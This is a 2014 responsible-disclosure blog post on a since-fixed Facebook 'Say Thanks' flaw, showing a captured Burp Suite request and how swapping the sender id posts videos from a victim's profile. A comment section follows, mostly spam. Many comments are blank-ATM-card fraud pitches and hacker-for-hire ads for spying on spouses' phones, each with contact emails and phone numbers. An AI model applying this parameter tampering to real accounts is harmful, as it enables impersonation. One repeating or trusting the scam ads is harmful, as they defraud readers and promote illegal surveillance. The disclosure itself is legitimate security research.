Saturday, 29 November 2014

[Responsible disclosure] Hacking Facebook.com/thanks Posting on behalf of your friends!


Note: This is being published with the permission of Facebook under the responsible disclosure policy. The vulnerability is now fixed.

Facebook recently introduced "Say Thanks", an experience that lets Facebook user to create personalized video cards for their facebook friends. 

To create a Thanks video, a user needs to visit facebook.com/thanks and have to choose a friend. A user can select a different theme and edit photos and posts that represent their friendship.
Once you are ready you have to click on the "Share" button and your video will be shared on your timeline with the friend tagged. It will show up on your's as well as the friend's timeline.

So, I started digging up as soon as "Say Thanks" was launched.

Below are the few things that I tried :

1) Posting on the behalf of non-Facebook friend.
2) Posting on the behalf of a Facebook friend.

Interestingly, posting on behalf of your Facebook friends worked.
After the successful exploitation a video was posted from victim's profile saying thanks.

Bug type: Insecure direct object reference (OWASP A4)

Steps to reproduce:

1) Go to https://www.facebook.com/thanks
2) Choose any friend from your list. Now on the top up corner click on "Share video" option.
3)  Now before posting make sure Burp Suite's Interceptor is turned on to capture the request. 


Click on "Post Video" now, you will see below kind of request in Burp suite:


POST /thanks/send/async/ HTTP/1.1

Host: www.facebook.com





fb_dtsg=YYYYYY&message_text=Hey Anand, I made you a video to say thanks for being such a good friend. You can make your own at facebook.com/thanks #saythanks&message=Hey @[1234543:Anand], I made you a video to say thanks for being such a good friend. You can make your own at facebook.com/thanks #saythanks&cache_version=24&content=[]&content_count=0&receiver={"id":1234543,"fbid":1234543,"name":"Anand Prakash","imageURL":"","gender":2,"greeting":"Hey Anand","shortName":"Anand","relationship":-1,"relationshipName":null,"firstName":"Anand","genderType":"MALE","profilePhoto":"","profilePhotoID":8359028035,"profilePhotoBegin":"}&sender={"id":131232524,"name":"Sunil Bhati","firstName":"Sunil","genderType":"MALE","profilePhoto":"","profilePhotoID":,"profilePhotoBegin":"","profilePhotoBeginID":328985902339}&timestamp=1417279810172&theme_details={}&theme_id=DEFAULT_THEME&privacyx=9238943&__user=1234543__a=1&__dyn=&__req=13&ttstamp=__rev=1512134


4) I changed the sender={id=XXXXX to victim's Facebook ID (here XXXXX) and in few seconds video got posted from the victim's Facebook profile.


Timeline:

Nov 14, 2014 12:41am - Report Sent to Facebook Security team
Nov 14, 2014 2:00am   - Initial Reply from Mordecai saying he is not able to reproduce the                                     issue
Nov 14, 2014 8:17am   - Confirmation of vulnerability from Neal Poole
Nov 14, 2014 10:42am - Issued fixed by Facebook
Nov 14, 2014 11:44am - Fix verification by me
Nov 19, 2014 10:10am - Bounty of $12,500 awarded by Facebook.


Thanks to Facebook security team for quickly fixing the issue.







30 comments :

  1. This comment has been removed by a blog administrator.

    ReplyDelete
  2. This comment has been removed by the author.

    ReplyDelete
  3. Really Inspiring and great articles. This Blog will definitely help us write better code.

    ReplyDelete
    Replies
    1. I got my already programmed and blanked ATM card to withdraw the maximum of $50,000 daily for a maximum of 20 days. I am so happy about this because i got mine last week and I have used it to get $100,000. MRS HELLEN is giving out the card just to help the poor and needy though it is illegal but it is something nice and she is not like other scam pretending to have the blank ATM cards. And no one gets caught when using the card. get yours from her. Just send her an email On Hellencookeratmhacker@gmail.com or you can also Add her up on WhatsApp Via +2348068958717


      Delete
  4. What all technologies do I need to learn for discovering bugs?

    ReplyDelete
  5. great bug hunting :) very useful for ref.

    ReplyDelete
  6. sir i want learn hacking
    mavinjoel@gmail.com

    ReplyDelete
  7. This comment has been removed by the author.

    ReplyDelete
  8. Interesting post.I am really happy to inform you that its a very nice post and you are explaining it in a very understanding form.Thank you very much for your great work.Custom essay writing service can help the students while providing new essay writing ideas and the dissertation draft writing guidelines for the students. Writing services are guaranteed that grammar and spelling all will remain accurate and correct.

    ReplyDelete
  9. Now I have a question to you. How are you choosing your hacking goals? I mean, maybe best resume writer just by chance or you already know, that something there could go wrong or something?

    ReplyDelete
  10. Keeping up with friends is faster than ever.Facebook helps us to get in contact with our friends. I am keen user of Facebook. I used to post pics, always keep my account engaged.
    Thesis writing service

    ReplyDelete
  11. We interviewed an experienced Bug Bounty Hunter - thought you'd be interested to read their comments:

    https://www.concise-courses.com/interview-ethical-hacker-bug-bounty-hunter/

    ReplyDelete

  12. I must appreciate the way you have expressed your feelings through your blog!

    - hotmail login

    ReplyDelete
  13. I got my already programmed and blanked ATM card to withdraw the maximum of $50,000 daily for a maximum of 20 days. I am so happy about this because i got mine last week and I have used it to get $100,000. MRS HELLEN is giving out the card just to help the poor and needy though it is illegal but it is something nice and she is not like other scam pretending to have the blank ATM cards. And no one gets caught when using the card. get yours from her. Just send her an email On Hellencookeratmhacker@gmail.com or you can also Add her up on WhatsApp Via +2348068958717

    ReplyDelete
  14. Let’s keep are safe place to play the very best free games for kids! Please click:
    slither.io | wings.io | happy wheels | abcya | happy wheels the game free | pokemon go to play for free games for kids!

    ReplyDelete
  15. This blog is so nice to me. I will continue to come here again and again. Visit my link as well. Good luck
    temple run 2

    ReplyDelete
  16. Hello everyone,my name is Johnson Kate.I was able to hack my husband's phone remotely and gained access to his calls and texts,all thanks to ghosthacker2351@gmail.com.he's reliable and if you require his service tell him i referred you.

    ReplyDelete
  17. Most enticing blogs I’ve ever read custom writings review
    and this is what it should. Must be shared as well. I was really bored but your blog lightened up my day

    ReplyDelete
  18. I have visited your website.It is very interesting and impressive.Thanks for sharing with us such a brilliant article.I want to come again.Keep updated.
    Acer promo code

    ReplyDelete
  19. My names are Jessica Switch from united states. Merry Christmas in advance friends, become rich today and take the risk of transforming your own life. Try and get a blank ATM card today from (MR TOM HOOPER) and be among the lucky ones who are benefiting from this cards. This PROGRAMMED blank ATM card is capable of hacking into any ATM machine, anywhere in the world. I got to know about this BLANK ATM CARD when I was searching for job online about a month ago.. It has really changed my life for good and now I can say I'm rich because am a living testimony. The least money I get in a day with this card is about $4,000. Every now and then I keeping pumping money into my account. Though is illegal, there is no risk of being caught, because it has been programmed in such a way that it is not traceable, it also has a technique that makes it impossible for the CCTV to detect you.. For details on how to get yours today, E-mail the hackers on ( Tomhooperhackersworld@yahoo.com ) or text him on +1 (914)-517-3229.

    ReplyDelete
  20. Its very helping post and I would like to say that your writing so unique and useful for us.
    hostgator black friday coupons

    ReplyDelete
  21. Hallo Leute!!! Ich habe meine von Herrn Kenny Meine leere ATM-Karte kann zurücktreten
    € 5.000 pro Tag. Ich habe es von ihm letzte Woche Mittwoch und jetzt habe ich 10.000 €
    kostenlos. Die Karte zieht Geld von jedem Geldautomaten und es gibt keine
    Name auf, es ist nicht nachvollziehbar und jetzt habe ich Geld für ein neues Haus und
    Genug Geld für mich und meine 4 Kinder. Ich bin wirklich glücklich, Herr Kenny und
    Emailed ihn auf (atmengineer160@gmail.com), weil ich zwei Leute traf
    Vor ihm und sie nahmen mein Geld nicht zu wissen, dass sie Betrügereien waren. Aber bin ich
    jetzt glücklich. Herr Kenny schickte die Karte durch DHL und ich bekam es in zwei Tagen. Bekommen
    Einer von ihm jetzt. Er gibt es, um Menschen zu helfen, auch wenn es illegal ist
    Aber es hilft viel und niemand wird gefangen. Die Karte funktioniert in allen
    Ausgenommen Philippinen, Mali und Nigeria. Kontaktieren Sie ihn heute über:
    E-Mail-Adresse (atmengineer160@gmail.com) oder Telefonnummer (+16627980936)

    ReplyDelete
  22. BE SMART AND BECOME RICH IN LESS THAN 3DAYS....It all depends on how fast
    you can be to get the new PROGRAMMED blank ATM card that is capable of
    hacking into any ATM machine,anywhere in the world. I got to know about
    this BLANK ATM CARD when I was searching for job online about a month
    ago..It has really changed my life for good and now I can say I'm rich and
    I can never be poor again. The least money I get in a day with it is about
    $50,000.(fifty thousand USD) Every now and then I keeping pumping money
    into my account. Though is illegal,there is no risk of being caught
    ,because it has been programmed in such a way that it is not traceable,it
    also has a technique that makes it impossible for the CCTVs to detect
    you..For details on how to get yours today, email the hackers on : (
    atmmachinehackers1@gmail.com ). Tell your
    loved once too, and start to live large. That's the simple testimony of how
    my life changed for good...Love you all ...the email address again is ;
    atmmachinehackers1@gmail.com
    whatsapp number +2348155605373

    ReplyDelete
  23. Do you need hackers for hire? Do you need to keep an eye on your spouse by gaining access to their emails? As a parent do you want to know what your kids do on a daily basis on social networks ( This includes facebook, twitter , instagram, whatsapp, WeChat and others to make sure they're not getting into trouble? Whatever it is, Ranging from Bank Jobs, Flipping cash, Criminal records, DMV, Taxes, Name it,he will get the job done.He's a professional hacker with 20 Years+ experience. Contact him at dragonhhacker@gmail.com ... Send an email and Its done. Its that easy, Daura referred you

    ReplyDelete
  24. Гей, хлопці!!! Я отримав моє від пан Кенні Моя порожня картка ATM може вийти
    € 5000 в день. Я отримав від нього на минулому тижні в середу і тепер у мене є € 10 000
    безкоштовно. Карта не знімає гроші з будь-яких банкоматах і немає
    ім'я на ньому, не простежується, і тепер у мене є гроші на новий будинок і
    достатньо грошей для мене і моїх 4 дітей. Я дуже радий, я Мента пан Kenny і
    по електронній пошті його на (atmengineer160@gmail.com), тому що я зустрів двох людей
    перед ним, і вони взяли мої гроші, не знаючи, що вони були шахраями. але я
    щасливий зараз. Г-н Kenny послав карту через DHL і я отримав його протягом двох днів. отримати
    один з нього зараз. він дає його, щоб допомогти людям, навіть якщо це незаконно
    але це дуже допомагає, і ніхто ніколи не попадається. Плата працює у всіх
    країни, за винятком Філіппін, Малі і Нігерії. зв'язатися з ним сьогодні за допомогою:
    адреса електронної пошти (atmengineer160@gmail.com) або номер виклику телефону (+16627980936)

    ReplyDelete
  25. i am Mr harry dickson and i want to tell the world on how i got the blank ATM card. I was so wrecked that my company fired me simply because i did not obliged to their terms, so they hacked into my system and phone and makes it so difficult to get any other job, i did all i could but things kept getting worse by the day that i couldn't afford my 3 kids fees and pay light bills. I owe so many people trying to borrow money to survive because my old company couldn't allow me get another job and they did all they could to destroy my life just for declining to amongst their evil deeds. haven’t given up i kept searching for job online when i came across the testimony of a lady called Vanessa regarding how she got the blank ATM card. Due to my present state, i had to get in touch with Hacking organization and i was told the procedures and along with their terms which i agreed to abide and i was told that the Blank card will be deliver to me without any further delay and i hold on to their words and to my greatest surprise, i received an ATM card worth $4.5million Usd. All Thanks to this hackers. you may contact them via email..{dicksonharryblankatmharckers@gmail.com}

    ReplyDelete
  26. Hello friend, i want to share my testimony on how i got my BLANK ATM card which have change my life today. i was once living on the street where by things were so hard for me, even to pay off my bills was very difficult for me i have to park off my apartment and start sleeping on the street of Vegas. i tried all i could do to secure a job but all went in vain because i was from the black side of America. so i decided to browse through on my phone for jobs online where i got an advert on Hackers advertising a Blank ATM card which can be used to hack any ATM Machine all over the world, i never thought this could be real because most advert on the internet are based on fraud, so i decided to give this a try and look where it will lead me to if it can change my life for good. i contacted this hackers and they told me they are from Australia and also they have branch all over the world in which they use in developing there ATM CARDS, this is real and not a scam it have help me out. to cut the story short this men who were geeks and also experts at ATM repairs, programming and execution who taught me various tips and tricks about breaking into an ATM Machine with a Blank ATM card.i applied for the Blank ATM card and it was delivered to me within 3 days and i did as i was told to and today my life have change from a street walker to my house, there is no ATM MACHINES this BLANK ATM CARD CANNOT penetrate into it because it have been programmed with various tools and software before it will be send to you. my life have really change and i want to share this to the world, i know this is illegal but also a smart way of living Big because the government cannot help us so we have to help our self. if you also want this BLANK ATM CARD i want you to contact the Hackers email on jameshacker157@gmail.com and you life will never remain the same email jameshacker157@gmail.com or you can call +2348164728160

    ReplyDelete